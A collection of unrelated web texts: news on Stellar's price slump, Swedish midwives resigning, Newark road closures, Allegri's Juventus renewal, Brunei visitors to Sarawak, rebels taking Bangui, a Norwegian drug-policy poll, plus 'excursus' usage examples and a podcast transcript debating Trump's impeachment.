airdropping all of the rewards it has earned, with some 9,500,000 XLM set to be distributed to those holding at least 10 XLM in their wallet. However, this $589,000 airdrop did not seem to convince the market, as the price continues to tumble. Stellar’s New Approach The thought was that Binance staking the asset along with its airdrop would apply positive price pressure from July through August. It was intended to incentivize holders. However, with Bitcoin on shaky indicators, XLM has taken the worst hit in the top 20 cryptocurrencies. Last week, Stellar also tried to reorganize its marketing strategy with the launch of a new website. However, the market seemed to not respond and the response was lukewarm at best. It seems that Stellar will have to further realize adoption and actual use-case if it wishes to retain its spot as a leading cryptocurrency. For now, investors are left burned and wondering if they will have a suitable exit in the near future. Why do you believe XLM is performing so exceptionally poorly in this market? Let us know your thoughts below in the comments. Buy and trade cryptocurrencies with a 100x multiplier on our partner exchange, StormGain.

Casaubon's mind was more alert, and he seemed to anticipate what was coming after a very slight verbal indication, saying, "That will do--mark that"--or "Pass on to the next head--I omit the second excursus on Crete." Dorothea was amazed to think of the bird-like speed with which his mind was surveying the ground where it had been creeping for years. Deane, when he expected to take his wine alone, would tell Tom to step in and sit with him an hour, and would pass that hour in much lecturing and catechising concerning articles of export and import, with an occasional excursus of more indirect utility on the relative advantages to the merchants of St. It's not every verbal stunt pilot that can bring a mid-novel excursus about the differences between Webster's Second and Third editions to a safe landing. But now old Schmidt readjusted some inner machinery, cleared his throat and began a meandering excursus on the poor quality of Youth Today, with animadversions on the importance of respect for authority as the foundation of a democratic society. Rather, I alert readers to their new excursus into literature. This, his first book, is a combination of political pamphlet, theoretical excursus , and empirical analysis that established a foundation for the ideology of the Zionist Socialist Workers' Party. He also makes use of the excursus : detailed examples are contained in a big text box (sometimes lasting pages), easily visible so that one can either read it or carry on with the main body of the book. Junto a estas cuestiones, el autor introduce varios excursus como, por ejemplo, el de la absoluta distincion entre el Creador y la creacion. Torrance's reinterpretation of divine monarchy and his suggestion that the Spirit proceeds from the Trinity as a whole (35); Theodorus Alexopoulos's excursus into the late Byzantine theology of Nikephoros Blemmydes and Gregory of Cyprus retrieves their notion of the Spirit's eternal manifestation through the Son (82-83); and finally, Thomas Weinandy argues that the Spirit plays a part in the generation of the Son (196-97).

Det är med stor sorg om Helena Isaksson väljer att lämna förlossningsvården och Mölndals sjukhus, som hon hyser en djup kärlek för. Situationen har blivit ohållbar, menar hon. – I dag känns det som att man skulle behöva klona sig för att klara av den pressen som vi har inom förlossningsvården. Mig veterligen så kan man inte det ännu. En för liten personalstyrka med en övermänsklig arbetsbörda och en sjukhusledning som konsekvent vägrar lyssna på sina anställda håller på att driva både personalen och verksamheten in i väggen, menar hon. – Det känns som att jag inte kan göra ett bra arbete utifrån förutsättningarna. Man blir tvingad att jobba nätter utan kompensation i form av arbetstidsförkortning. När vi pratar nattarbete på förlossningen så är det inte som någon annan vårdavdelning där patienterna sover utan det är tio timmars arbetspass med lika många timmars aktivt arbete hela tiden, säger Helena Isaksson till GT. – Det är djupt frustrerande att veta att vi hade kunnat ge patienterna en så mycket bättre vård, fortsätter hon. "Man ser inte till kompetens" Sjukhusledningen vill inom tio år att all förlossningsvård ska ske på Östra sjukhuset, enligt Helena Isaksson. Ett huvudlöst mål, menar hon. – Jag kan inte förstå att Sveriges näst största stad ska behöva köra ihop sina 10 000 förlossningar på ett år i ett och samma hus. Det skapar varken trygghet eller kvalitet. Det kommer bli en förlossningsfabrik. Förlossningsvård är inte som att producera Volvobilar. Det känns inhumant. Som en nödvändig konsekvens av situationen säger Helena Isaksson nu upp sig. Bara den senaste månaden har mer än var tionde barnmorska på Mölndals sjukhus fattat samma slutgiltiga beslut. En av dem är också Ulla Henricsson Petersson som slutade 2012. – Jag har sett klart och tydligt hur det har försämrats. Jag hade aldrig orkat den takten som de måste jobba i, i dag. De har nästan gått på knäna så som de har slitit, berättar hon och tillägger: – Problemet är att det inte satsas på barnmorskornas arbete, det är för lite personal. Ulla Henricsson Petersson säger också att hon hört planer på att flytta förlossningsvården, men tycker att alla mammor ska ha rätt till en kontinuerlig vård – något som i nuläget inte går att säkerställa, menar hon. – Man ser inte till kompetens och jag såg klart och tydligt att barnmorskorna inte orkade arbeta i den takten som de måste jobba i, säger hon. "Sjukhuset lyssnar inte" GT har i flera dagar sökt ansvarig person på avdelningen, men har inte blivit uppringda som utlovat. I stället säger flera andra chefer på sjukhuset att personen är på möte, eller ska ringa upp senare. Helena Isaksson hoppas i alla fall att det blir en ändring. Själv mår hon inte speciellt bra. – Jag känner att jag är på väg att gå in i våggen. Förhoppningsvis hinner jag dra i nödbromsen innan den kommer farande, säger Helena Isaksson, som den senaste tiden mått väldigt dåligt. – Jag har inte kunnat sova ordentligt, jag har haft en stor klump i magen. Jag var tvungen att vara hemma en vecka för ett par veckor sedan för att jag fick ett tryck över bröstet som inte släppte. Vi har signalerat om den här situationen till ledningen i flera år men framför allt det sista året väldigt, väldigt tydligt. Men det känns inte som att de lyssnar.

Crews began preparations Friday for MTV’s Video Music Awards at Newark’s Prudential Center, where more than 20,000 people will storm into the city on Monday. Newark’s Public Safety Director, Anthony Ambrose, warns the show could gridlock streets, much like last Nov. 15’s rush-hour ‘Snowmageddon,’ a traffic jam that caused chaos among commuters. A lack of preparedness by state officials was blamed for the incident. Hoping to avoid a repeat, Ambrose will mobilize the Office of Emergency Management and plans to put at least 375 city cops on duty, as well as federal, state and county agents. He expects 14,000 to 15,000 ticket-holders will pack the venue and up to 7,500 more star-struck fans will crowd around for a glimpse of celebrities, all part of the spectacle. Newark Police aim to have most right-of-ways around the Prudential Center closed to traffic by 10 a.m. Monday until 2 a.m. Tuesday. Ambrose urged people attending the event to rely on NJ Transit. “This event ends at 10:45. They assured the administration that there will be extra trains, and they will go later,” said Ambrose. NJ Transit will add just one extra train, at 11:30 p.m., from Newark Penn Station to New York. On Friday, NJ’s statewide transit tweeted out a warning to customers, speculating that Penn Station New York, Secaucus Junction and Newark Penn Station will all likely see a bevy of new rail riders. Due to traffic congestion resulting from the VMAs, Newark will be experiencing several road closures. Stay informed about alternative routes with street closure information below. Sunday, August 25th, from 1 to 8 p.m. • Mulberry Street between Market Street and Lafayette Street Monday, August 26th, from 8:30 to 2 a.m. • Mulberry Street, from Lafayette Street to Market Street • Franklin Street Monday, August 26th, from 10:30 to 2 a.m. (Extended Street Closure) • Mulberry Street, from Raymond Boulevard and Green Street Monday, August 26th, from 10 to 2 a.m. • Market Street between Washington Street and McCarter Highway • Edison Place between Broad Street and McCarter Highway Lane closure information follows: Monday, August 26th, from 4 p.m. to 2 a.m. • Bus lane and northbound lane of traffic on Broad Street, from Green Street to Market Street Monday, August 26th, from 10 to 2 a.m. • Westbound lane of traffic on Lafayette Street, from McCarter Highway to Broad Street

Massimiliano Allegri ha firmato il rinnovo di contratto con la Juventus, un accordo che lo vedrà sulla panchina della Juventus fino al 2020. Decisivo l'incontro nella sede bianconera a Torino: dopo la riunione con Marotta e Agnelli e il pranzo, nel primo pomeriggio è arrivato l'annuncio. Allegri ha firmato fino al 30 giugno 2020, con un aumento di ingaggio: nella prossima stagione 5,5 milioni più bonus, poi salirà ogni anno fino ai 7 del 2019/2020. L'annuncio è arrivato al termine del vertice di questa mattina nella sede di Corso Galileo Ferraris tra l'allenatore, il presidente Andrea Agnelli e l'amministratore delegato Beppe Marotta. Dal suo arrivo a Torino nel luglio 2014 il tecnico toscano ha vinto tre scudetti, tre Coppe Italia e una Supercoppa Italiana. Con Allegri alla guida la Juve ha vinto 97 partite tra campionato, Coppa Italia e Supercoppa. In Serie A, gli 84 successi e i 17 pareggi su 114 gare si traducono in 269 punti totali, con una media di 2.36 a partita. Inizialmente si pensava che il prolungamento fosse fino al 2019, invece è arrivato l'accordo fino al 2020. Felice di proseguire il percorso insieme: costruiamo le fondamenta per riprovarci! @juventusfc #finoal2020 — Massimiliano Allegri (@OfficialAllegri) 7 giugno 2017 IL COMUNICATO DELLA JUVENTUS Ora è ufficiale: Massimiliano Allegri ha rinnovato il suo rapporto con la Juventus fino al 30 giugno 2020. Un rapporto che, dal giorno del suo arrivo, nel luglio del 2014, ha permesso alla squadra di continuare il suo percorso di crescita in Italia, iniziato tre anni prima, e consolidare sempre di più la sua posizione di top team europeo. In questo caso non c'è niente di meglio che lasciar parlare i dati: sotto la sua guida la Juventus in Italia ha vinto tre Scudetti, tre Coppe Italia e una Supercoppa Italiana, ha quindi riscritto la storia del calcio italiano, arrivando a sei Scudetti consecutivi e tre Coppe nazionali una in fila all'altra: una triplice doppietta mai vista nel nostro Paese. I numeri dicono anche che con Allegri alla guida, la Juve ha vinto 97 partite tra campionato, Coppa Italia e Supercoppa. In Serie A, gli 84 successi e i 17 pareggi su 114 gare si traducono in 269 punti totali, con una media di 2.36 a partita. E poi l'Europa, dove la Juventus con due finali di Champions League in tre stagioni e il quinto posto nel ranking UEFA è ormai una delle realtà più accreditate. La Juve ha vissuto, in questi anni, molti rinnovamenti, piccole rivoluzioni a livello tecnico. Allegri, Panchina d'Oro lo scorso anno non a caso, ha saputo interpretarli, leggerli, guidarli. Due esempi per tutti, in questi tre anni: l'incredibile rimonta dei bianconeri nella stagione 2015/16, iniziata con il Derby del novembre 2015 e culminata con il Tricolore, e il cambio di modulo di qualche mese fa, con il quale il Mister è riuscito a valorizzare a pieno il potenziale tecnico della Juventus, con una decisione delle sue: coraggiosa, spiazzante, intelligente. In altre parole, la Juve e Allegri sono cresciuti insieme. Stanno continuando a farlo. E continueranno ancora.

michelle goldberg I’m Michelle Goldberg. ross douthat I’m Ross Douthat. david leonhardt I’m David Leonhardt. And this is “The Argument.” [MUSIC PLAYING] This week, get ready for impeachment. michelle goldberg I don’t think you can overemphasize just how abrupt the change has been. The dam sort of burst all at once. david leonhardt Then we talk about the 2020 primaries on the Republican side. ross douthat Anyone who runs for president against an incumbent president who probably shouldn’t be president deserves a certain amount of credit and admiration. david leonhardt And finally, a recommendation. michelle goldberg I have had a feeling that I’ve never had in the past, which is this desire to be in the future looking back analytically at right now. [MUSIC PLAYING] david leonhardt Just one week ago, it seemed highly unlikely that House Democrats would impeach President Trump. But then came the news about Trump’s attempts to pressure Ukraine to produce dirt on Joe Biden. And suddenly, everything changed. This week, Nancy Pelosi, the speaker of the house, who has long been opposed to impeachment, announced that she’s going to open a process that could ultimately lead to the president’s impeachment. Michelle, you’ve been in favor of impeachment for a long time, and I know you’ve been frustrated that it wasn’t happening. But I assume now you think it really is likely to happen. michelle goldberg Yeah, I really do. And I think it’s— I don’t think you can overemphasize just how abrupt the change has been. The dam sort of burst all at once. I had a column calling out Nancy Pelosi for her failure to begin impeachment proceedings, and for her failure to do it after the Mueller Report, which I think emboldened Trump in his latest betrayal of the country with Ukraine. I had background conversations with people on both sides of this issue and got no sense, as of Monday morning, that there was any real movement. And then by Monday evening, impeachment had seemed inevitable. david leonhardt Well, I agree with you that it’s likely to happen. And as regular listeners know, you and I’ve been on different sides of this. I have previously thought impeachment would be a mistake. I thought it would have been a mistake after Mueller because I don’t think it would have persuaded people who didn’t already think Trump should be gone. Given that the Mueller Report was a letdown, we don’t need to revisit that whole argument. I know you disagree, Michelle. But I think it’s the right thing now, and I think it’s really telling that a lot of these House Democrats, who don’t just have to run in San Francisco or in New York City or in Massachusetts, but have to run in real swing districts are also coming out for it. Out of a combination of thinking, it’s the right thing and also thinking the politics have changed. Ross, you are particularly good at throwing cold water on liberal excitement, and you did that again this week with your column arguing that President Trump actually wants to be impeached. I will confess I’m a little skeptical of this particular tossing of cold water, so why don’t you make that case? ross douthat So I don’t know if this counts as cold water. I mean, just because the president wants something doesn’t mean that it’s actually good for him. What might be the things that Trump thinks he could get out of an impeachment fight? The first is, basically, that for now, impeachment is a lot less popular than the Democratic policy agenda. And so it shifts the conversation, maybe only temporarily, to terrain where the Democrats are doing something that a majority of the country doesn’t necessarily want them to do. Two, I think Trump has benefited throughout his campaigns and presidency from this contrast between his overt corruption and the kind of business-as-usual corruption of the DC establishment, where he basically presents himself as sort of a man who’s sort of honest about his cynicism and self-dealing, unlike the Clintons and the Clinton Foundation and the D.C. elite and the deep state and so on. And so I think he probably imagines that something similar could happen if we have a battle that sort of loops in everything Hunter Biden has ever done and the Biden family has ever done to profit off their family name. And then the third and fourth all sort of run together. I think that Trump has always delighted in watching Republicans who claim to have principles and honor bend the knee to him. And I think an impeachment battle might not, but is likely, to end with lots of Republicans who might be Trump’s successor voting not to remove him from office. I think Trump likes these kind of highly personalized Twitter-ready battles in this primal way that I think even he maybe doesn’t fully understand. I think there was part of the Mueller investigation that he enjoyed. I think there’s part of an impeachment fight that he’ll enjoy, maybe a little more because he can only be removed from office whereas Mueller could actually put his family in jail. michelle goldberg So first of all, I think that that kind of overrates— I mean, and your column gestures at that this too— that I don’t think Trump thinks about things that logically or projects things into the future that much. I mean, he clearly has a drive towards chaos and destruction and overplaying his hands and always one-upping whoever he thinks he’s up against. I really disagree that Trump enjoyed the Mueller investigation. He was more restrained during the Mueller investigation and became more unleashed afterwards. He’s just been much more overtly lawless since the Mueller investigation ended, which suggests to me that the Mueller investigation worried him enough to provide some modest check on his criminality and corruption. And then finally, I think it was interesting to watch him give this speech at the U.N. As the dam was breaking and more and more Democrats were coming out for impeachment, it was this fascist speech that was delivered as if he had been tranquilized and was then reading from a phone book in, maybe, a foreign language. He seemed exhausted. He seemed deflated. And so, yeah. He might become energetic in battle, and he obviously drove himself to this point, but I don’t think he’s going to be happy about where he has ended up, at least right now. david leonhardt Ross, I’ll add one thing on that before you reply, which is I’m not so sure that the conversation in the Democratic primary has been so good for the Democrats. I think it’s really unfortunate. But many of them have come out for things that are unpopular, like taking away people’s private health insurance or border decriminalization. And the only frontrunner who hasn’t is Joe Biden, who— michelle goldberg —and Pete Buttigieg. david leonhardt —and Pete Buttigieg, who’s now way, way back in the polls. So I don’t think this campaign has been so great for the Democrats. And it’s not clear to me that focusing people on Trump’s misdeeds is actually so terrible. ross douthat So two things. First, to take the example you picked, David, where maybe this is better for the Democrats than focusing on the health care debate in their primaries. I think from his perspective, it could be a win-win because his theory might be that this helps take down Biden. Hunter Biden is emblematic of the kind of totally legal self-dealing that’s really common in Washington, D.C. And so if Biden is associated with that, it helps Elizabeth Warren. So the end game is Trump gets impeached. He doesn’t get removed from office. The impeachment helps elevate Warren. Warren is easier for Trump to beat. Trump feels victorious. That’s another impeachment helping Trump scenario I could spin out. Now, I think everybody may be overestimating the political import of impeachment, that it could happen, and Trump could not be removed from office. And then in the time between impeachment and the election, 17 other controversies will cycle through. And it’s not either going to be the game changer that impeachment advocates think or the debacle that I think Nancy Pelosi has been afraid of. michelle goldberg I just want to say a couple of things. First of all, I think we need to be really, really careful to distinguish Hunter Biden and, quote, unquote, “the Biden family.” There’s a New Yorker piece that I hope people read about Hunter Biden, who is a really troubled man who has obviously done some sketchy things. But there is no evidence that his father has enabled any of that. Joe Biden was sort of troubled by some of the things that Hunter was doing but also just decided not to get involved. david leonhardt I’m not sure that impeaching is a game changer, but Michelle, you’ve really persuaded me, particularly at this point, that not impeaching now looks like a game changer. If Democrats look at this latest outrage by Trump and say, ah, just another one, that not only sends him a message that he can keep doing whatever he wants, but I actually think it brings political risk for the Democrats in terms of just making them look feckless. michelle goldberg Yeah, I mean, I also don’t necessarily think that impeaching will be a game changer. I don’t think we have any way of knowing how this is going to unfold. I know that some of the Democrats who have been against impeachment have worried that, yeah, what if we do this, he doesn’t get removed, and then he just sits there for another eight months and feeling even more emboldened? But I do think that the failure to impeach — it both sends a message that the conduct that he’s engaged in so far is not impeachable and is, therefore, somehow tolerable in a president. And I also do think it makes Democrats look overcautious, overcalculating. And when in doubt, just do the right thing. david leonhardt The assumption all along has been that Senate Republicans will line up behind Trump and acquit him, just as they have lined up behind him on the vast majority of things during his presidency. Ross, do you think that should still be our working assumption? Or can you see a not ridiculous scenario in which Marco Rubio and some others start to think, wait a second, we’ve got Mike Pence in waiting — I really don’t want to define my career by defending this guy? ross douthat I think it should be our default assumption that all but maybe one or two or three Republicans will stick with him. I think there’s some space where something else could happen. And look. I mean, we don’t have all the details at all. But the default here is just— this is a point I stole from Jonathan Last, a writer for the anti-Trump conservative site The Bulwark. But he was saying, look, the difference between Nixon and Trump is that Nixon was a man who belonged to the Republican Party, who believed in the Republican Party as an institution. And when Republicans in Congress went to Nixon and said, look, the game is up, they knew that Nixon would listen to them. Part of the bind that the Republicans are in is that what I think of as sort of the smartest and brightest Republican senators, the sort of range of younger senators that includes Rubio and Josh Hawley, and Ben Sasse and three or four others— all of these guys have long-term and short-term political ambitions that Trump himself can carpet-bomb from retirement after he’s defeated. These guys are politicians. They’re political animals. I can imagine getting a couple profiles in courage. I can’t imagine getting anywhere near enough to get to — you don’t just need 60. You need 67 votes in the Senate. That seems very hard. david leonhardt I do think there’s some chance of a cascade, though. ross douthat Yeah. If you could get to 10 — maybe you could get to 20 — but getting from 2 to 10 is really hard. david leonhardt Michelle, you get the last word. Do you see a scenario where Republicans turn on him? michelle goldberg No. Not absent some huge shift in public opinion, although, I mean, I do agree that there could be a cascade because it’s not like any of these people like him. They hate him. My read on most Republicans is that they hate liberals far more than they love this country or that they love our Constitution. And I don’t see that changing anytime soon. [MUSIC PLAYING] david leonhardt O.K. We’ll leave it there. Something tells me this topic is going to dominate much of the next couple months of news, and we will be talking about it again. But for now, we will take a quick break and be right back. [MUSIC PLAYING] Their supporters call them the Three Musketeers. President Trump calls them the Three Stooges. They’re the other Republicans running for president in 2020. Mark Sanford is a former governor and congressman from South Carolina. He supported Trump in 2016, but he is now one of Trump’s biggest Republican critics. archived recording (mark sanford) I think we need to have a conversation there. I think we need to have a conversation on the degree to which institutions and political culture are being damaged by this president. david leonhardt The next candidate, Joe Walsh, is a former Tea Party congressman from Illinois. He’s somewhat of a Trumpist on Twitter. He has attacked the parents of Sandy Hook shooting victims and supported the lie that Barack Obama was a Muslim. archived recording (joe walsh) And I wouldn’t call myself a racist, but I’ve said racist things on Twitter. There’s no doubt about it. david leonhardt Finally, Bill Weld. He’s the former governor of Massachusetts, and he he’s a classic moderate New England Republican. archived recording (bill weld) And we’re now talking about trillion dollars of accumulated deficit. That raises a fairness issue to the young people, the millennials and Gen Xers who are going to have to pay that bill. I’m not going to pay that bill. david leonhardt So Ross, have any of these musketeers won your heart, and why do they matter? ross douthat They haven’t won my heart. I find anyone who runs for president against an incumbent president who probably shouldn’t be president deserves a certain amount of credit and admiration. I think that you have to temper that admiration with the realization that running for president in this way can also be a little bit of a grift. I think a lot of anti-Trump Republicans sort of watched a version of that happen with Evan McMullin, who ran this doomed third-party conservative campaign against Trump and then seemed determined to monetize it for the next two to four years. And I think someone like Walsh, who is sort of a professional bomb thrower — this gets him on cable news and gives him a different profile. Now, obviously, he’s sort of torched his preexisting brand, so maybe he is exonerated from the grifting charge. All of these three guys have what you might call the sort of Marianne Williamson-versus-Oprah problem. They all represent different tendencies within the Republican Party — Rockefeller republicanism, Tea Party conservatism— without having the kind of profile or footprint necessary to be more than just cable news challengers to Trump, which is basically what they are right now. They’re characters for MSNBC and CNN. david leonhardt I understand who Sanford is as a candidate and who Weld is. I don’t totally understand what Walsh’s game is because I get that he’s more Trumpist than Sanford, but what’s his problem with Trump? michelle goldberg He pretty early on was getting frustrated on Twitter about Trump’s evident bald-faced lies and also his deviations from conservative orthodoxy on all sorts of things, particularly his deviations from conservative economic orthodoxy. You saw this anger and opposition building over a long time. And I think there’s something that happens with apostates, which is that as you were rejected from the world that sort of once defined you and that you once lived fully inside of, your entire worldview sort of shifts. And I think that that’s what has happened with Joe Walsh out of maybe some combination of grift, principle, and social psychology. ross douthat Yeah. And you can make a case that Walsh is actually the closest thing to what you would really want in a primary challenger. I mean, that Sanford was the genuinely principled, small government, deficit cutting conservative who really believed in cut, cap, and balance and all these ideas that were sort of in vogue among the Tea Party intelligentsia circa 2010. And Walsh was the guy talking about Barack Obama’s birthplace on Twitter. So for him to convert to anti-Trumpism is actually more interesting, and I think relevant, to where a lot of Republican voters might be, potentially. michelle goldberg My friend, Eyal Press, wrote this book called “Beautiful Souls,” which is basically about people who break ranks in all different kinds of circumstances. The point that he makes is that people who break ranks are often true believers who are truly disillusioned when the thing that they believe in doesn’t live up to their ideals about it. It’s the people who were most committed to Tea Party ideals and kind of conservative intellectual vision that have broken with Trump because he has set all that on fire. david leonhardt I don’t disagree with that, but it leaves me thinking, really, that there is no clear post-Trump Republican Party because to the extent that any of these guys have a vision that actually coheres, like Bill Weld does, it’s a vision that is based on an American public that doesn’t exist. So it’s just really unclear to me, now that Trump kind of called the lie on what the Republican Party was, that many Republican voters were not actually enamored of small government tax cuts. They’re right wing on all kinds of things, but they’re a little more populist. Now that he called the lie on that, it’s just not at all clear to me what a Republican Party after Trump looks like that is real but also just doesn’t have a ton of Trumpism still in it. ross douthat Because Trump is popular within the Republican Party, because the economy is good, because he has not presided over major foreign policy catastrophes, it’s very hard for any politician who wants to have a career after Trump to talk themselves into running against him. The shape of the Republican Party after Trump — I mean, who knows for sure — but I think you can see the outline of a pretty clear debate. You’ll have people in a zone between Mike Pence and Nikki Haley, who sort of want to go back to where the party was before Trump and pretend nothing has changed. And then you have people like Rubio and Josh Hawley who want to remake the party in a more populist direction, adapt to whatever Trump has revealed. But both of those groups— they want Trump to go away, but they’re afraid of what Trump can do to their plans for the Republican Party in 2024 or 2028. So you’re left with the ideologies of the past. Basically, all that’s missing here, really — we need John Bolton. He’s not a neoconservative technically, but he’s certainly a foreign policy hawk. You could add the sort of uber hawk primary challenger, and then you’d have the whole range of versions of Republicanism past that Trump defeated. And Bolton as a primary challenger would be more interesting, certainly, than the three that we have right now. michelle goldberg I mean, there’s very — it seems to me that there is very little appetite in either party for big, new foreign invasions. I mean, thank goodness. The thing that I don’t understand— or maybe I do understand— but there’s such a lack of vision. It’s like, do any of these people remember what happened to George W. Bush? I mean, George W. Bush, much more than Trump, was venerated across the Republican Party. I mean, they worshipped George W. Bush. It was grotesque. And then it all collapsed so quickly. And it’s very easy for me to imagine a version of the future 10 years from now, where Dinesh D’Souza, or the heir to Dinesh D’Souza, who’s like a kind of right-wing, revisionist historian troll, insists that, no, Trump was never actually a Republican. He was always really a Democrat. And they basically try to pretend that none of this ever really happened. There’s such an opportunity for the person who stakes out that anti-Trump position in the same way that Trump benefited from what was, at the time, very impolitic criticism of George W. Bush. ross douthat See, I think — so two things. One, Michelle’s future — you also have to have the mirror image, which is that there’ll be the liberal pundits who are saying, man, there’s nothing worse than President Tucker Carlson and Vice President Peter Thiel and if only we could get back to the civilized republicanism of the Donald Trump era. david leonhardt Michelle and I hereby promise never to say that, and you can hold us to it, Ross. michelle goldberg Well, I don’t know. I also said— I remember— can I just say quickly, I remember during George W. Bush’s administration saying, my god, can you imagine if there’s ever a world in which we’re looking back nostalgically about George W. Bush? ross douthat The other point, though, is that Trump came along and attacked George W. Bush’s record in 2016, when nobody else was willing to do it. And it helped him. But he did it eight years after the fact. Donald Trump was not making his critique of George W. Bush in real time. He made it long after the fact when many Republican voters had sort of come around to this view. And watching Trump’s rise has given me a pretty low opinion of Republican politicians, so I’m not surprised that you don’t have profiles in courage. And I don’t think that there’s some long-term upside for a would-be future leader of the Republican Party in opposing Trump directly right now. david leonhardt Well, in this absurd political era, I think we should end this with a little bit of absurdity, which is these candidates who are running against Trump are going to run into an obstacle that previous presidential candidates have not run into, at least recently, which is the Republican Party is now so in thrall to Donald Trump that in at least four states— Alaska, Nevada, South Carolina, and Kansas— party leaders in the state have voted to cancel their presidential nominating contests in 2020 to make sure they can award their delegates to Donald Trump. [MUSIC PLAYING] Now it’s time for our weekly recommendation, when we make a suggestion that is meant to take your mind off of the day’s headlines. I’m going to cheat just a little bit here but make a recommendation that is not on the news but related to the news. And I’m going to encourage our listeners to go study up on Watergate history because it suddenly seems to have a new relevance. I am going to specifically recommend the podcast “Slow Burn” by Leon Neyfakh, which tracks the Nixon impeachment process and his resignation. But if you’ve already listened to that, I’m going to encourage you to dig into a book, like “Final Days” by Woodward and Bernstein, or, really, any Watergate history that you find appealing. First of all, it’s just super enjoyable. And second of all, I think it’ll leave you with some humility about our being able to forecast exactly what’s going to happen. We look back on Watergate, and we think it’s this nice, tidy thing in which President Nixon broke the law and got removed from office. But anyone who lived through it remembers that that’s not at all the way it happened. And it wasn’t clear at all from the beginning that he was going to get removed from office. michelle goldberg Yeah. I mean, I absolutely would second your recommendation for “Slow Burn.” And I have had, since this whole thing started, a feeling that I’ve have never had in the past, which is this desire to be in the future looking back analytically at right now. david leonhardt In part because it means we’re not living through the Trump presidency anymore, I’m sure. michelle goldberg Right. Exactly. But I’ve never sort of wanted a historical era to end so desperately. And so there is a certain amount of comfort in seeing that they were sort of stumbling in the dark, but then, ultimately, history moved forward, and at least other generations were able to make sense of it all. david leonhardt Ross, have you listened to “Slow Burn?” No. I don’t listen to any podcast other than “The Argument,” David. And indeed— — on repeat? ross douthat —I feel that you’ve doubly violated our rules by making an on-the-news recommendation and recommending a rival podcast. david leonhardt Totally fair. Well my recommendation is “Slow Burn,” specifically the first season of the podcast— Slow Burn, which covers the Nixon impeachment and resignation. [MUSIC PLAYING] That’s our show this week. Thanks so much for listening. If you have thoughts or ideas about the show, you can leave us a voicemail at 347-915-4324. You can also email us at [email protected]. And if you like what you hear, please leave us a rating or review in Apple podcasts. This week’s show was produced by Kristin Schwab for Transmitter Media and edited by Sara Nics. Our executive producer is Gretta Cohn. We had help from Tyson Evans, Phoebe Lett, Ian Prasad Philbrick, and Francis Ying. Our theme was composed by Allison Leyton-Brown. We’ll see you back here next week. ross douthat But I mean, I sort of agree with Michelle’s last point too. david leonhardt

I could but others have already done that.. Just search for "SMEEL" and you'll see them right at the top.

BANDAR SERI BEGAWAN – Brunei topped arrivals into Sarawak last year with a total of 1.3 million entries, according to the Sarawak Tourism Board, averaging to roughly three visits per Bruneian resident. In the first quarter of 2019, 304,823 visitors from Brunei entered Sarawak, making the sultanate the biggest source of visitors to the eastern Malaysian state. The favourable currency exchange rate, better shopping and cheaper goods continue to lure Bruneians across the border, spending $1.2 billion in Malaysia in 2017 — almost $3,000 for each person resident in Brunei. CEO of the Sarawak Tourism Board, Sharzede Datu Hj Salleh Askor, said they are banking on the good exchange rate and relaunch of direct flights from Bandar Seri Begawan to Kuching to drive tourism activity to Sarawak, especially for events such as the Rainforest Fringe Festival, Rainforest World Music Festival, and Borneo Jazz Festival — which all take place this July. Speaking at the Brunei campaign launch for “Three Festivals, One Destination”, part of the wider “Visit Sarawak” campaign, Sharzede said they are targeting 24,000 festival-goers for the 22nd Rainforest World Music Festival, which will be held at the Sarawak Cultural Village in Kuching from July 12 to 14. “As much as we want to increase the numbers of festival goers, we have our carrying capacity of 8,000 a night in our living museum environment. We must observe this to ensure the surroundings are not spoilt,” she said. The Rainforest Fringe Festival will also take place in Kuching from July 2 to 12, highlighting Sarawak’s arts, handicrafts, heritage, culture and food. The tourism chief said the Rainforest World Music Festival generated RM$42 million in revenue last year, with foreigners comprising 40 percent of festival-goers. The third festival, the Borneo Jazz Festival, will take place in Miri from July 19 to 21, and will also feature Bruneian hip-hop artist, Zed Peace, who will perform alongside the Borneo Hip Hop collective. Evelyn Hii, whose company No Black Tie is organising the jazz festival, said they are setting a conservative target of 4,000 festival-goers for the three-day event. “Bruneians represent the highest percentage of non-Malaysians attending the festival at 35 per cent, while Singaporeans make up 7.5 percent,” she said.

FREETOWN, Sierra Leone — Rebels entered Bangui, the capital of the Central African Republic, on Sunday morning, seizing control of the city in the culmination of a lengthy uprising in one of the world’s weakest and most impoverished states. The country’s president was reported to have fled. The rebels met little opposition, either from the country’s military or troops from the region who had been sent to bolster the government. The rebels immediately set about looting, according to residents, another indication of the state’s feeble hold on the destitute country. “Bangui is under the control of rebel elements who entered the capital this morning,” said Martin Wiguele, a member of the country’s Parliament, speaking by phone from Bangui. “They fired in the air and asked people to stay at home.” The whereabouts of President François Bozizé, who took power in a coup in 2003, was not immediately clear, with local radio and the French government reporting that he had fled. Analysts suggested that he was unlikely to be missed, either by citizens of the Central African Republic or by foreign governments, because his efforts had been focused on staying in power rather than developing his country.

En ny meningsmåling utført av Respons Analyse for Foreningen Tryggere Ruspolitikk, som arbeider for liberalisering av narkotikalovgivningen, viser en større andel som har liberale holdninger enn i tidligere undersøkelser, som gjerne har vært bestilt av avholdsorganisasjonen Actis.* (Se intervju med foreningens nestleder Bård Standal.) Meningsmålingen kan lastes ned her. Denne målingen spør eksplisitt om egen bruk og besittelse av illegale rusmidler kun til egen bruk, for å få frem et skille mellom brukere og selgere. Som kjent har helseminister Bent Høie tatt til orde for at bruk ikke lenger skal rettsforfølges gjennom bøter og i ytterste konsekvens fengsel, men er en sak for helsevesen og sosialomsorg. Undersøkelsen viser at to av tre (67-33) er uenig i dette, dersom vi ser bort fra de tolv prosentene som svarer vet ikke. Et klart flertall vil altså at egen bruk fremdeles skal være straffbart. Menn, de med lavere utdanning og de som bor i Oslo er noe mer liberale, og de yngste klart mer liberale. Blant dem under 24 år mener 44 prosent at slik bruk og besittelse ikke skal straffes.

